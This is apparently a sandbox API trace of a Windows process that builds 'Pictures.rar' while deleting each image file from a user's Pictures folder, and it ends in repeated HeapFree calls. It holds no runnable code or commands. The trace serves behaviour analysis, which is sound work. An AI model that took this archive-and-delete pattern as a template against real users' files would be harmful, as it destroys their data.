[0068.498] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15982667732) returned 1 [0068.498] GetTickCount () returned 0x27034 [0068.498] GetTickCount () returned 0x27034 [0068.498] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.498] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.498] GetFocus () returned 0x102e2 [0068.498] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.498] DeleteFileW (lpFileName="9BtQRHA1y.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\9btqrha1y.gif")) returned 1 [0068.500] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.500] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.500] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.500] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.501] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.501] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.501] SetWindowTextW (hWnd=0x102c6, lpString="9BtQRHA1y.gif") returned 1 [0068.501] GetTickCount () returned 0x27034 [0068.501] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.501] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.501] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.502] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.502] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="9BtQRHA1y.gif") returned 13 [0068.502] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.502] GetTickCount () returned 0x27034 [0068.502] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15983103393) returned 1 [0068.502] GetTickCount () returned 0x27034 [0068.502] GetTickCount () returned 0x27034 [0068.502] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.503] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.503] GetFocus () returned 0x102e2 [0068.503] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.504] DeleteFileW (lpFileName="8eYKFrOBbq-TuX.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\8eykfrobbq-tux.bmp")) returned 1 [0069.060] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0069.061] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.061] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.061] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0069.061] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.061] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.061] SetWindowTextW (hWnd=0x102c6, lpString="8eYKFrOBbq-TuX.bmp") returned 1 [0069.062] GetTickCount () returned 0x27267 [0069.062] UpdateWindow (hWnd=0x102be) returned 1 [0069.062] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.062] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0069.062] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0069.062] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.062] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="8eYKFrOBbq-TuX.bmp") returned 18 [0069.062] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0069.063] GetTickCount () returned 0x27267 [0069.063] GetLastError () returned 0x0 [0069.063] SetLastError (dwErrCode=0x0) [0069.063] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0069.063] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0069.063] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 76%") returned 5 [0069.063] SetWindowTextW (hWnd=0x102c8, lpString=" 88%") returned 1 [0069.063] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x58, lParam=0x0) returned 0x4c [0069.065] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=16039321724) returned 1 [0069.065] GetTickCount () returned 0x27267 [0069.065] GetTickCount () returned 0x27267 [0069.065] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0069.065] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0069.065] GetFocus () returned 0x102e2 [0069.065] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0069.065] DeleteFileW (lpFileName="7ZwWGMcIaUjWjMVJAe.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\7zwwgmciaujwjmvjae.jpg")) returned 1 [0069.164] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0069.164] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.164] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.164] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0069.165] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.165] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.165] SetWindowTextW (hWnd=0x102c6, lpString="7ZwWGMcIaUjWjMVJAe.jpg") returned 1 [0069.166] GetTickCount () returned 0x272c5 [0069.166] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.166] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0069.166] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0069.166] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.166] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="7ZwWGMcIaUjWjMVJAe.jpg") returned 22 [0069.166] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0069.166] GetTickCount () returned 0x272c5 [0069.166] GetLastError () returned 0x0 [0069.166] SetLastError (dwErrCode=0x0) [0069.166] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0069.167] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0069.167] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0069.167] SetWindowTextW (hWnd=0x102c8, lpString=" 90%") returned 1 [0069.184] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x5a, lParam=0x0) returned 0x58 [0069.185] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=16051321130) returned 1 [0069.185] GetTickCount () returned 0x272e4 [0069.185] GetTickCount () returned 0x272e4 [0069.185] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0069.185] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0069.185] GetFocus () returned 0x102e2 [0069.185] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0069.186] DeleteFileW (lpFileName="6xi8hATC8ep.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\6xi8hatc8ep.gif")) returned 1 [0069.360] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0069.361] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.361] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.361] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0069.361] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.361] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.361] SetWindowTextW (hWnd=0x102c6, lpString="6xi8hATC8ep.gif") returned 1 [0069.362] GetTickCount () returned 0x27390 [0069.362] UpdateWindow (hWnd=0x102be) returned 1 [0069.362] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.362] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0069.362] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0069.362] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.362] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="6xi8hATC8ep.gif") returned 15 [0069.362] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0069.363] GetTickCount () returned 0x27390 [0069.363] GetLastError () returned 0x0 [0069.363] SetLastError (dwErrCode=0x0) [0069.363] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0069.363] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0069.363] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 90%") returned 5 [0069.363] SetWindowTextW (hWnd=0x102c8, lpString=" 93%") returned 1 [0069.364] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x5d, lParam=0x0) returned 0x5a [0069.365] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=16069339866) returned 1 [0069.365] GetTickCount () returned 0x27390 [0069.365] GetTickCount () returned 0x27390 [0069.365] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0069.365] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0069.365] GetFocus () returned 0x102e2 [0069.365] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0069.365] DeleteFileW (lpFileName="5qnTEjfG9KjtBUIojvlC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\5qntejfg9kjtbuiojvlc.png")) returned 1 [0069.367] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0069.367] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.367] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.367] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0069.367] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.367] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.367] SetWindowTextW (hWnd=0x102c6, lpString="5qnTEjfG9KjtBUIojvlC.png") returned 1 [0069.368] GetTickCount () returned 0x27390 [0069.368] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.368] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0069.368] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0069.368] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.368] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="5qnTEjfG9KjtBUIojvlC.png") returned 24 [0069.368] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0069.369] GetTickCount () returned 0x27390 [0069.369] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=16069733648) returned 1 [0069.369] GetTickCount () returned 0x27390 [0069.369] GetTickCount () returned 0x27390 [0069.369] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0069.369] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0069.369] GetFocus () returned 0x102e2 [0069.369] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0069.370] DeleteFileW (lpFileName="1Uee5Fu 2XCwi8fG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\1uee5fu 2xcwi8fg.gif")) returned 1 [0069.372] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0069.372] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.372] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.372] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0069.373] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.373] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.373] SetWindowTextW (hWnd=0x102c6, lpString="1Uee5Fu 2XCwi8fG.gif") returned 1 [0069.374] GetTickCount () returned 0x2739f [0069.374] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.374] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0069.374] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0069.374] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.374] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="1Uee5Fu 2XCwi8fG.gif") returned 20 [0069.374] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0069.374] GetTickCount () returned 0x2739f [0069.374] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=16070299898) returned 1 [0069.374] GetTickCount () returned 0x2739f [0069.374] GetTickCount () returned 0x2739f [0069.374] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0069.374] PeekMessageW (in: lpMsg=0xf00f8dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5a0) returned 0 [0069.375] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.375] DeleteFileW (lpFileName="17Kei.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\17kei.bmp")) returned 1 [0069.470] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0069.470] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.470] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.470] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0069.471] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.471] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0069.471] SetWindowTextW (hWnd=0x102c6, lpString="17Kei.bmp") returned 1 [0069.471] GetTickCount () returned 0x273fd [0069.471] UpdateWindow (hWnd=0x102be) returned 1 [0069.471] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0069.471] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0069.472] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0069.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0069.472] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="17Kei.bmp") returned 9 [0069.472] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0069.472] GetTickCount () returned 0x273fd [0069.472] GetLastError () returned 0x0 [0069.472] SetLastError (dwErrCode=0x0) [0069.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0069.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0069.472] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 93%") returned 5 [0069.472] SetWindowTextW (hWnd=0x102c8, lpString=" 100%") returned 1 [0069.473] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x5d [0069.473] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=16080150242) returned 1 [0069.473] GetTickCount () returned 0x273fd [0069.473] GetLastError () returned 0x0 [0069.473] SetLastError (dwErrCode=0x0) [0069.473] GetDlgItem (hDlg=0x102be, nIDDlgItem=154) returned 0x102d0 [0069.473] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:05") returned 8 [0069.473] SetWindowTextW (hWnd=0x102d0, lpString="00:00:06") returned 1 [0069.473] GetTickCount () returned 0x273fd [0069.473] GetLastError () returned 0x0 [0069.474] SetLastError (dwErrCode=0x0) [0069.474] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0069.474] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:02") returned 8 [0069.474] SetWindowTextW (hWnd=0x102d4, lpString="00:00:00") returned 1 [0069.474] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0069.474] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0069.474] GetFocus () returned 0x102e2 [0069.474] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08463830 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fba0 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462cd0 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb40 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fbdd0 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f8a0 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462c60 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f900 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fb950 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f6c0 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462a30 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f810 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084631a0 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f780 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084630c0 | out: hHeap=0x28b08430000) returned 1 [0069.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f8d0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462b10 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f750 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fbad0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb10 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462950 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f840 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462bf0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08463590 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc90 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084629c0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f930 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084632f0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f960 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08463520 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7b0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08463360 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f9c0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084633d0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f630 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08463600 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f870 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fc150 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd80 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08460170 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f660 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fc1d0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fcc0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100470 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fbd0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100b00 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7e0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c1002b0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd20 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100b70 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fcf0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c0fffa0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100630 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fae0 | out: hHeap=0x28b08430000) returned 1 [0069.476] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100780 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f6f0 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084fc3d0 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f720 | out: hHeap=0x28b08430000) returned 1 [0069.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100e10 | out: hHeap=0x28b08430000) 